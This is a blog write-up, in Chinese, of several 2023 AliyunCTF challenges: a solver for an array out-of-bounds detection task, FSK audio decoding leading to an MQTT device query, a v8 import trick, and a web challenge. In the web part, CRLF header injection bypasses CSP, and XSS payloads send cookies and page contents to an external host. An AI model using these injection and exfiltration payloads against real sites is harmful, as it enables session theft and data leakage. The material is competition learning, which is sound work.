CTF | 2023 阿里云CTF / AliyunCTF WriteUp


本文首发于 SecIN 社区:https://sec-in.com/article/2199

引言

阿里云CTF 2023

由阿里云计算有限公司与清华大学网络与信息安全实验室共同举办的网络安全赛事

比赛时间:4月21日 21:00 - 4月23日 21:00,总计48h

  • 热身赛:热身赛将于4月2日0:00开始,4月21日 0:00结束。
  • 正式赛:正式赛将于4月21日21:00开始,4月23日21:00结束。

https://tianchi.aliyun.com/competition/entrance/532078/introduction

貌似有一段时间没来写 writeup 水博客 了,这次来除除草,

五一假期前这周末比赛好多,但是又碰上调休,周日还得上班,可恶啊。

感觉最近事情比较杂,于是大概花了点时间瞄了几眼题目,卡住的题目赛后又来复现了一下,这里记录一下喵。

Misc

OOBdetection

我们的代码审计工程师跑路了!帮帮我们!

nc 47.98.209.191 1337

题目说明

SC是本题新定义的一种语法和语义类似C语言的命令式语言,其语法使用EBNF描述如下:

Prog := DefList ArrList;

DefList := { varDef ';' }

ArrList := { arrayExpr ';' }

Typename := 'int'      
          ;
          
varDef   := Typename Id {'[' expr ']'}   
          | Typename Id '=' DigitSequence                       
          ;
        
arrayUnit := Id '[' expr ']' {'[' expr ']'}
           ;
           
arrayExpr := Id AssignmentOperator arrayUnit
           | Id AssignmentOperator expr
           | arrayUnit AssignmentOperator expr
           ;
          
expr := arrayUnit op expr
       | Id op expr    
       | DigitSequence op expr 
       | arrayUnit                         
       | Id                        
       | DigitSequence                    
       ;

op := '/' |'*' | '+' | '-'
     ;

AssignmentOperator := '='
                    ;

Id := IdNondigit { IdNondigit | digit }
     ;

DigitSequence := nonzero-digit { digit }
               ;

nonzero-digit := '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9' ;

digit := '0' |  '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9' ;

其中IdNondigit表示[a-zA-Z_]

服务器将给出多组SC的程序,请在120秒内检测服务器给出的SC程序中是否存在数组索引值越界的情况。(未初始化的变量值未知)

如果程序存在数组越界,发送oob;如果不存在数组越界,发送safe;如果无法判断或出现其他错误,发送unknown

附:hash验证逻辑

def proof_of_work():
    s = os.urandom(10)
    digest = sha256(s).hexdigest()
    my_print("sha256(XXX + {0}) == {1}".format(s[3:].hex(),digest))
    my_print("Give me XXX in hex: ")
    x = read_str()
    if len(x) != 6 or x != s[:3].hex():
        my_print("Wrong!")
        return False
    return True

def PoW():
    if not proof_of_work():
        sys.exit(-1)

说来这个 proof_of_work 有点坑,用的 hex,于是需要 repeat=6

然后试了试发现他最多会有两维数组,相对而言情况不是特别多,判断来说其实用 regex + exec 就行了

(就行了嘛?比如考虑的情况漏了,然后凌晨调代码困得不行,喵喵盯着报错的例子发呆,调了一凌晨的代码。。

(做到一半发现队友做出来了,但是不甘心还是继续调,天亮了终于调好了

(跑出来之前发现是个缩进锅了,气死了

喵喵的 exp 如下,可能有点乱倒是了,定义了个无限大的数 float('inf'),然后一堆 if 走天下,出现未知错误(比如未定义的变量)之类就交给 Exception 处理输出 unknown

注释的地方是一些可能的 pattern example

"""
MiaoTony
"""

from pwn import *
from itertools import product
from string import ascii_letters, digits, hexdigits
from hashlib import sha256
import re
import sys

# context.log_level = 'debug'
context.timeout = 10

r = remote('47.98.209.191', 1337)
rec = r.recvline().strip().decode()
suffix = rec.split("+ ")[1].split(")")[0]
digest = rec.split("== ")[1]
log.info(f"suffix: {suffix}\ndigest: {digest}")

for comb in product('0123456789abcdef', repeat=6):
    prefix = ''.join(comb)
    if sha256(bytes.fromhex(prefix+suffix)).hexdigest() == digest:
        print(prefix)
        break
else:
    log.info("PoW failed")
r.sendlineafter(b"Give me XXX in hex: ", prefix.encode())
r.recvuntil(b"Good luck!\n")


def parse_program(program):
    # print(locals())
    for line in program.splitlines()[:-1]:
        line = line.strip().replace("/", "//")
        if not line:
            continue
        log.info(f'>>>>>> {line}')
        if line.startswith("int"):
            if '=' in line:
                # int n1 = 207;
                exec(line.lstrip('int').strip())
            else:
                match = re.findall(r'int\s+(\w+);', line)
                log.info(f"-> match1-1: {match}")
                if match:
                    # int x;
                    exec(f"{match[0][0]} = float('inf')")
                    continue
                match = re.findall(
                    r'int\s+(\w+)\[\s*(.*?)\s*\]\[\s*(.*?)\s*\];', line)
                if match:
                    # int a[ 145 ][ 774 ];
                    # int a[ n ][n+23 ]
                    log.info(f"-> match1-2: {match[0]}")
                    exec(
                        f"{match[0][0]} = [[float('inf')] *  ({match[0][2]})] * ({match[0][1]})")
                    continue
                match = re.findall(r'int\s+(\w+)\[\s*(.*?)\s*\];', line)
                if match:
                    # int a[n1];
                    log.info(f"-> match1-3: {match[0]}")
                    exec(f"{match[0][0]} = [float('inf')] * ({match[0][1]})")

        elif '=' in line:
            # a[ 17 ] = 579;
            # c[a[ 17 ] - b[ 349 ]] = 4516;
            match2 = re.findall(r'(\w+)\[\s*(.*?)\s*\]\s*=', line)
            match3 = re.findall(
                r'(\w+)\[\s*(.*?)\s*\]\[\s*(.*?)\s*\]\s*=', line)
            if match3:
                log.info(f"-> match3: {match3[0]}")
                if eval(match3[0][1]) in [float('inf'), float('-inf')] or eval(match3[0][2]) in [float('inf'), float('-inf')] \
                        or eval(match3[0][1]) < 0 or eval(match3[0][2]) < 0:
                    raise IndexError
            elif match2:
                log.info(f"-> match2: {match2[0]}")
                if eval(match2[0][1]) in [float('inf'), float('-inf')] or eval(match2[0][1]) < 0:
                    # Uninitialized variable
                    raise IndexError
            log.info(f"dddddddddddddddddddddddddddd, {line}")
            exec(line)


cnt = 1
while cnt <= 300:
    info = r.recvline().decode().strip()
    log.info(info)
    if "Wrong judgment!" in info:
        sys.exit(-1)

    program = r.recvuntil(b'Your answer (safe/oob/unknown): \n').decode()
    log.info(f"{cnt} ===> \n{program}")
    cnt += 1
    try:
        parse_program(program)
    except IndexError:
        log.info('[+] OOB')
        r.sendline(b'oob')
    except Exception as e:
        log.info(f'[+] Unknown Error.....\n{e}')
        r.sendline(b'unknown')
    else:
        log.info('[+] safe')
        r.sendline(b'safe')


r.interactive()
# aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}

说来如果正经做的话估计得写个 编译原理里的 AST,喵喵不会,而且写起来太复杂了,算了(

消失的声波

-它说了什么?

-我听不懂,但我大受震撼

问:它说了什么?

Hint:记住你的目标

给了个声波 OVUB7rdc9oH112Ve.wav

放大来看是这样的

而且前三段应该是重复的,后三段也是重复的,最后这三个看上去貌似没啥意义

很明显是通信原理里的 2FSK 调制,也可以理解成两个不同频率的 2ASK 的叠加,这里正好他们的振幅也不一样还是挺好区分的 (甚至凌晨做到后面做不出来怀疑人生,翻出通信原理笔记看了看,没错啊

这两个应该是一样的时间间隔,也就是最小的时间片。高频/小振幅的是以4个正弦周期为单位,低频/大振幅的是3个正弦周期,具体的频率提取的时候不是很必要懒得看了

于是很容易想到转换成 01 字符串,然后试着转成 ASCII 或者理解成什么编码,如果是平方数的话可能转二维码之类的(然而后面发现并不是

具体信号的解调/提取的话,过零间隔比较、取判决门限、取最大值感觉都行

这部分和校内一个师傅一起做的,直接取个窗口判断最大值,然后转01串,然后解析不出来他卡住了

import wave
import matplotlib.pyplot as plt
import numpy as np

with wave.open('OVUB7rdc9oH112Ve.wav') as w:
    framerate = w.getframerate()
    frames = w.getnframes()
    channels = w.getnchannels()
    width = w.getsampwidth()
    print('sampling rate:', framerate, 'Hz')
    print('length:', frames, 'samples')
    print('channels:', channels)
    print('sample width:', width, 'bytes')
    
    data = w.readframes(frames)
    
sig = np.frombuffer(data, dtype='<i2').reshape(-1, channels)
sigl = [i[0] for i in sig]
len(sigl)
# 499640

seg = [0]
for i in range(1, len(sigl) - 1):
    l0, l1, l2 = sigl[i-1], sigl[i], sigl[i+1]
    if l0 < l1 and l2 < l1:
        seg.append(l1//100)
    if l1 == 0 and seg[-1] != 0:
        seg.append(l1//100)
len(seg)
# 6127

bsec = []
tmp = []
for i in seg[1:]:
    if abs(i) > 0:
        assert i in [73, 83]
        if i == 73:
            tmp.append(0)
        elif i == 83:
            tmp.append(1)
    else:
        if len(tmp) > 0:
            bsec.append(tmp)
            tmp = []
len(bsec)
# 6

print(bsec[0] == bsec[1] == bsec[2])
print(bsec[3] == bsec[4] == bsec[5])
# True
# True

这个 bsec 就是那6个不同的片段,前三段和后三段各自确实是重复的

顺便画个图,可以看到前16个还是重复的,信息应该在后面

第一部分

第二部分

for i in range(20):
    print(''.join(map(lambda i:'.' if i == 0 else '|', bsec[1][29*i:29*(i+1)])))
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
....|||||||||||||||....||||||
|||........||||||....||||||..
..||||||||||||....||||||....|
|||||||||||....|||....|||....
def reduce34bs(bs):
    i = 0
    bits = []
    while i < len(bs):
        assert bs[i] in [0, 1]
        if bs[i] == 1:
            assert bs[i+1] == 1
            assert bs[i+2] == 1
            bits.append(1)
            i += 3
        elif bs[i] == 0:
            assert bs[i+1] == 0
            assert bs[i+2] == 0
            assert bs[i+3] == 0
            bits.append(0)
            i += 4
    return bits

from scapy.utils import hexdump

bsl = reduce34bs(bsec[0])
print(len(bsl))
s = ''.join(map(str,bsl))
print(s)
data = int(s, 2).to_bytes(len(s)//8, 'big')
print(data)
hexdump(data)

第一部分:

416
00101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101000101010011111011100110110111101101111010100101101101001000010011101000110110011111100111011001100110011100010110000100100110001001100010100101111101001101000010100101100001101111100010110010111011001001111010101000101001101110100010010100101110101111000110110010110101001111010010100100110110011
b'****************}\xcd\xbd\xbdKi\t\xd1\xb3\xf3\xb33\x8b\t11K\xe9\xa1K\r\xf1e\xd9=QM\xd1)u\xe3e\xa9\xe9I\xb3'
0000  2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A  ****************
0010  7D CD BD BD 4B 69 09 D1 B3 F3 B3 33 8B 09 31 31  }...Ki.....3..11
0020  4B E9 A1 4B 0D F1 65 D9 3D 51 4D D1 29 75 E3 65  K..K..e.=QM.)u.e
0030  A9 E9 49 B3                                      ..I.

同理,第二部分:

bsl2 = reduce34bs(bsec[3])
print(len(bsl2))
s2 = ''.join(map(str,bsl2))
print(s2)
data2 = int(s2, 2).to_bytes(len(s2)//8, 'big')
print(data2)
hexdump(data2)
160
0010101000101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101010001101100011011000110110001101
b'****************\x8d\x8d\x8d\x8d'
0000  2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A  ****************
0010  8D 8D 8D 8D       

**************** 一共 16 个,倒是感觉有希望,后面这堆又是啥???

会不会是异或?没戏

01 交换过来也不大对劲(

不会吧???是不是脚本写得有问题?手动试了试,没错啊

会不会附件错了?重新对了下 readme 里的 md5,没错啊,怀疑人生了(

试了下逆序,貌似也没东西吧???卡住了!

后来发现是没试过把 01 交换之后的逆序,啊啊啊啊啊!!!!

bsl = reduce34bs(bsec[0])
bsl = [1 if i == 0 else 0 for i in bsl][::-1]
s = ''.join(map(str,bsl))
print(s)
data = int(s, 2).to_bytes(len(s)//8, 'big')
print(data)
hexdump(data)

上面这个逆序之后,就有可见字符了

00110010011011010110100001101010010110010011100001010001011010110111010001001101011101010100001101100100010110010111000001001111001011010111101001101000001011010111001101110011011011110010111000110011001100100011000000110010011101000110111101101001001011010100001001000010010011000100000110101011101010111010101110101011101010111010101110101011101010111010101110101011101010111010101110101011101010111010101110101011
b'2mhjY8QktMuCdYpO-zh-sso.3202toi-BBLA\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab'
0000  32 6D 68 6A 59 38 51 6B 74 4D 75 43 64 59 70 4F  2mhjY8QktMuCdYpO
0010  2D 7A 68 2D 73 73 6F 2E 33 32 30 32 74 6F 69 2D  -zh-sso.3202toi-
0020  42 42 4C 41 AB AB AB AB AB AB AB AB AB AB AB AB  BBLA............
0030  AB AB AB AB       

这里很明显再逆序一下,得到 ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2

根据 aliyun oss 的访问域名规则,构造个 http://albb-iot2023.oss-cn-hangzhou.aliyuncs.com/OpYdCuMtkQ8Yjhm2

然后发现被 rickroll 了,跳转到了 D^3CTF 的页面(这波预热好啊

删掉 ALBB-(阿里巴巴?) 之后访问,会下载得到一个 binary

http://iot2023.oss-cn-hangzhou.aliyuncs.com/OpYdCuMtkQ8Yjhm2

$ file OpYdCuMtkQ8Yjhm2   
OpYdCuMtkQ8Yjhm2: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>

可恶啊,怎么你们人均 Mac OS 用户啊!

要是喵喵有 x86 mac 的话这个 binary 就能直接跑了 (甚至通过后面的分析发现简单 patch 一下就能出 flag 了

但是没办法,那就逆向看看吧

相应的连接信息在这

既然不能直接跑,那还得找个 MQTT Client 来

参考 阿里云的帮助文档 MQTT-TCP连接通信,这个手动算感觉好麻烦(x

于是找一找有没有现成的代码,参考阿里云的 Paho-MQTT Python接入示例 帮助文档

先装个 库

pip install paho-mqtt

然后 下载官方的示例代码包

iot.py 里的连接信息改成题目里面的

根据他给的提示,发个 "{\"id\":\"flag\"}" 就好了

exp:

import json
import time
import paho.mqtt.client as mqtt
from MqttSign import AuthIfo

# set the device info, include product key, device name, and device secret
productKey = "a1eAwsBKddO"
deviceName = "ncApIY2XV9NUIY4VpbGk"
deviceSecret = "04845e512ead208b2437d970a154d69e"

# set timestamp, clientid, subscribe topic and publish topic
timeStamp = str((int(round(time.time() * 1000))))
clientId = "192.168.****"
subTopic = "/" + productKey + "/" + deviceName + "/user/get"
pubTopic = "/" + productKey + "/" + deviceName + "/user/update"

# set host, port
host = productKey + ".iot-as-mqtt.cn-shanghai.aliyuncs.com"
# instanceId = "***"
# host = instanceId + ".mqtt.iothub.aliyuncs.com"
port = 1883

# set tls crt, keepalive
tls_crt = "root.crt"
keepAlive = 300

# calculate the login auth info, and set it into the connection options
m = AuthIfo()
m.calculate_sign_time(productKey, deviceName,
                      deviceSecret, clientId, timeStamp)
client = mqtt.Client(m.mqttClientId)
client.username_pw_set(username=m.mqttUsername, password=m.mqttPassword)
client.tls_set(tls_crt)


def on_connect(client, userdata, flags, rc):
    if rc == 0:
        print("Connect aliyun IoT Cloud Sucess")
    else:
        print("Connect failed...  error code is:" + str(rc))


def on_message(client, userdata, msg):
    topic = msg.topic
    payload = msg.payload.decode()
    print("receive message ---------- topic is : " + topic)
    print("receive message ---------- payload is : " + payload)

    if ("thing/service/property/set" in topic):
        on_thing_prop_changed(client, msg.topic, msg.payload)


def on_thing_prop_changed(client, topic, payload):
    post_topic = topic.replace("service", "event")
    post_topic = post_topic.replace("set", "post")
    Msg = json.loads(payload)
    params = Msg['params']
    post_payload = "{\"params\":" + json.dumps(params) + "}"
    print("reveice property_set command, need to post ---------- topic is: " + post_topic)
    print("reveice property_set command, need to post ---------- payload is: " + post_payload)
    client.publish(post_topic, post_payload)


def connect_mqtt():
    client.connect(host, port, keepAlive)
    return client


def publish_message():
    # publish 5 messages to pubTopic("/a1LhUsK****/python***/user/update")
    for i in range(5):
        message = "ABC" + str(i)
        client.publish(pubTopic, message)
        print("publish msg: " + str(i))
        print("publish msg: " + message)
        time.sleep(2)


def publish_message2(message):
    client.publish(pubTopic, message)
    print("publish msg: " + message)


def subscribe_topic():
    # subscribe to subTopic("/a1LhUsK****/python***/user/get") and request messages to be delivered
    client.subscribe(subTopic)
    print("subscribe topic: " + subTopic)


client.on_connect = on_connect
client.on_message = on_message
client = connect_mqtt()
client.loop_start()
time.sleep(2)

subscribe_topic()
publish_message2("{\"id\":\"1\"}")
publish_message2("{\"id\":\"admin\"}")
publish_message2("{\"id\":\"flag\"}")
# aliyunctf{5558be2e286febe9ba54c721cb4a0e61}


while True:
    time.sleep(1)

傻逼题,傻逼逆序,傻逼套娃,喵喵气死了(

赛后看了 草帽 的 wp,发现用 minimodem 就能直接解出来,呜呜

就说这么规律连噪声都没加的信号应该有现成工具才对((感觉下次应该先去找现成工具而不是自己造轮子?

minimodem - general-purpose software audio FSK modem for GNU/Linux systems

Minimodem is a command-line program which decodes (or generates) audio modem tones at any specified baud rate, using various framing protocols. It acts a general-purpose software FSK modem, and includes support for various standard FSK protocols such as Bell103, Bell202, RTTY, TTY/TDD, NOAA SAME, and Caller-ID.

Minimodem can play and capture audio modem tones in real-time via the system audio device, or in batched mode via audio files.

Minimodem can be used to transfer data between nearby computers using an audio cable (or just via sound waves), or between remote computers using radio, telephone, or another audio communications medium.

via http://www.whence.com/minimodem/

source code: https://github.com/kamalmostafa/minimodem

是个专门用来解析、生成声音形式的 FSK 猫 信号的工具

顺便,再来复习一下通信原理的知识,看看远方 2FSK 的频谱吧

大概来说就是以两个频率为各自中心的展宽,连续谱是那两个尖峰,然后以他为中心有个 Sa 函数的展宽是离散谱

二者中间可能有交叉部分,最终的频谱是两部分的叠加。如果两个峰离得近的话可以用相干解调(同步检波),离得远的话可以用非相干解调(包络检波)。

懂得都懂带带弟弟

往 <你最喜欢的 JavaScript 引擎> 里加人造漏洞有啥意思咧?往最新最热的原版里整点群众喜闻乐见的功能进去不就得了。

注意:不需要 0day, 0.5day, 1day, 各种 day。不需要利用漏洞。这是杂项题,不是 Pwn 题。

nc 121.43.32.237 1337

给了个 v8,然后一些 patch 文件,没咋看(

然后随手试试

import('/flag')

然后报错把 flag 吐出来了!(傻逼非预期

不过这个预期解应该说的是

v8.deserialize on WebAssembly module fails with “Unable to deserialize cloned data”

Web

Obsidian

新·笔记本 服务每5分钟会重置。

Obsidian 不需要用扫描器

http://116.62.26.23:8000

Server: tiny-http (Rust) 是个 Rust 写的 web server

还给了个 rust binary 的附件,这玩意不好逆向啊,然后扔给逆向手了,然后看吐了(不懂给了有啥用,看起来太麻烦了

队友试了下发现 note 页面有 CSP 限制

Content-Security-Policy: default-src 'self'; script-src 'none';

赛后其他师傅说这题可以 CRLF 注入绕过 CSP 然后打 XSS

然后喵喵试了试,首先随便 admin password 登录,然后发个 blog

访问具体的 notes,这个 /note 路由下的 id 会放到 headers 里的 Note-Id 里,然后构造 %0d%0a 可以插入其他 header

比如 http://116.62.26.23:8000/note/miao%0D%0Aabb:6a1b84b5-94af-4e07-8c3a-ff34820d2f5f

进一步可以插入到 body 里

但是这样可能会卡住浏览器加载网页,认为网页没结束。

那就手动加上 Content-Length 好了

http://116.62.26.23:8000/note/miao%0D%0Aabb:6a1b84b%0D%0AContent-Length:40%0D%0A%0D%0A<script>alert('meow');<%2Fscript>

本来想试试偷 admin 的 cookie,于是构造 payload

miao
Content-Length: 68

<script>location.href='114.51.41.91:9810/'+document.cookie</script>

url encode 之后拼接下也就是

http://116.62.26.23:8000/note/miao%0D%0AContent-Length:68%0D%0A%0D%0A%3Cscript%3Elocation.href='114.51.41.91:9810/'+document.cookie%3C/script%3E

然后这里 contact admin,算个 md5 PoW,提交

发现打了半天都打不通,队友试了发现得把 URL 改成 localhost:8000 才行(

http://localhost:8000/note/miao%0D%0AContent-Length:68%0D%0A%0D%0A%3Cscript%3Elocation.href='114.51.41.91:9810/'+document.cookie%3C/script%3E

然后发现并没有 cookie,是空的

这里可以写个脚本算一算 body 部分的长度,不过后来发现其实 Content-Length 对于解题而言不是很必要,不如为了方便直接把这个 header 删了(

换个思路,先 fetch admin 的 /blog,然后看看里面有啥东西

<html><script>fetch('/blog').then((r)=>r.text()).then((r)=>{location.href='http://114.51.41.91:9810/?content='+btoa(r)});</script></html>

http://localhost:8000/note/miao%0D%0A%0D%0A%0D%0A%3chtml%3e%3Cscript%3Efetch('%2fblog').then((r)%3d%3er.text()).then((r)%3d%3e%7blocation.href%3d'http%3a%2f%2f114.51.41.91%3a9810%2f%3fcontent%3d'%2bbtoa(r)%7d);%3C%2Fscript%3E%3c%2fhtml%3e

最后 fetch 那篇写了 flag 的博客

<html><script>fetch('/note/21715b42-85df-4131-affe-2d366dbee2eb').then((r)=>r.text()).then((r)=>{location.href='http://114.51.41.91:9810/?content='+btoa(r)});</script></html>

http://localhost:8000/note/miao%0D%0Aabb:6a1b84b%0D%0A%0D%0A%0D%0A%3chtml%3e%3Cscript%3Efetch('%2fnote%2f21715b42-85df-4131-affe-2d366dbee2eb').then((r)%3d%3er.text()).then((r)%3d%3e%7blocation.href%3d'http%3a%2f%2f114.51.41.91%3a9810%2f%3fcontent%3d'%2bbtoa(r)%7d);%3C%2Fscript%3E%3c%2fhtml%3e

base64 decode 就能拿到 flag 了

甚至这个链接可以直接访问拿到 flag

http://116.62.26.23:8000/note/21715b42-85df-4131-affe-2d366dbee2eb

当然也可以用 XMLHttpRequest

<script>const Http = new XMLHttpRequest();const url = '/blog';Http.open("GET", url);Http.send();Http.onreadystatechange = (e) => {document.write('<img src="http://114.51.41.91:9810/?cookie=' + escape(Http.responseText.slice(100)) + '">');}</script>

http://localhost:8000/note/11%0aContent-Length:1200%0a%0a%3Cscript%3Econst%20Http%20%3D%20new%20XMLHttpRequest()%3Bconst%20url%20%3D%20%27%2Fblog%27%3BHttp.open(%22GET%22%2C%20url)%3BHttp.send()%3BHttp.onreadystatechange%20%3D%20(e)%20%3D%3E%20%7Bdocument.write(%27%3Cimg%20src%3D%22http%3A%2F%2F114.51.41.91%3A9810%2F%3Fcookie%3D%27%20%2B%20escape(Http.responseText.slice(100))%20%2B%20%27%22%3E%27)%3B%7D%3C%2Fscript%3E

顺便说一下,这个 PoW 如果对了的话会 303 跳转到 /,而错误的话还是 303 到 /submit 页面

别问是怎么知道的,那就是另一个故事了

问的话,简单来说是喵喵调了一晚上发现怎么远程老是没东西回来,但是队友可以,以及拿同样的 payload 打喵喵的 VPS 也可以,而我这个电脑这个浏览器就不行?

然后换了台电脑,就行了???

想不通怎么那么玄学,于是从 Firefox 换成 Chrome 试了试,发现也是行的???

然后拿浏览器里的原始报文去 BurpSuite 发包,先 GET 获取 PoW 再 POST 提交也是行的???那就更玄学了。

最后想不通给浏览器挂上 burp 的代理,看请求才发现原来是一个请求重复了两次,后一个请求还不在浏览器的 network 里出现,而正是这个请求把喵喵的验证码给冲掉了,气死了啊啊啊啊!

盲猜就是每个浏览器插件锅了,于是试了几个可能的插件,发现果然是其中一个的问题,说的就是你 FindSomething,谁能想到还有这种非预期行为啊(

然后发现居然 有 issue 提过 同一个 url 请求两次 这件事情了:

看来下次打比赛得换个干净点的环境(

顺便,通过逆向可以发现这题用的 web 框架应该是 Rouille, a Rust web micro-framework https://github.com/tomaka/rouille

小结

喵喵看的题目不多,但是包括队友在内好多其他开了的题目都卡住了,阿里云 CTF 真 TM 难啊!!!

一定看大师傅们 wp 好好学习!

SU 这边一起打到第13,队里好几个师傅都去打线下赛了没空来打阿里云了, 以及典中典之拿到 flag 发现比赛正好结束了

喵喵也只是来看看题没啥贡献,呜呜(

算了就这样吧(

BTW, 官方 writeup 也出来了:https://xz.aliyun.com/t/12485

感觉好久没水博客了,这次废话有点多,希望师傅们不要介意喵(

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
 上一篇
CTF | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 CTF部分 WriteUp CTF | 2023 第八届上海市大学生网络安全大赛 / 磐石行动 CTF部分 WriteUp
上海市赛又来了,今年的比赛分为CTF和漏洞挖掘两部分,这篇博客就来记录下CTF部分的writeup,有些题目喵喵卡住了赛后又来复现了一下。
2023-05-25
下一篇 
CTF | 2022 西湖论剑·中国杭州网络安全技能大赛 WriteUp CTF | 2022 西湖论剑·中国杭州网络安全技能大赛 WriteUp
农历兔年到来的第一场CTF比赛,和校队的小师傅佛系看了看题目,学习学习练练手写写writeup记录下好了。
2023-02-04
  目录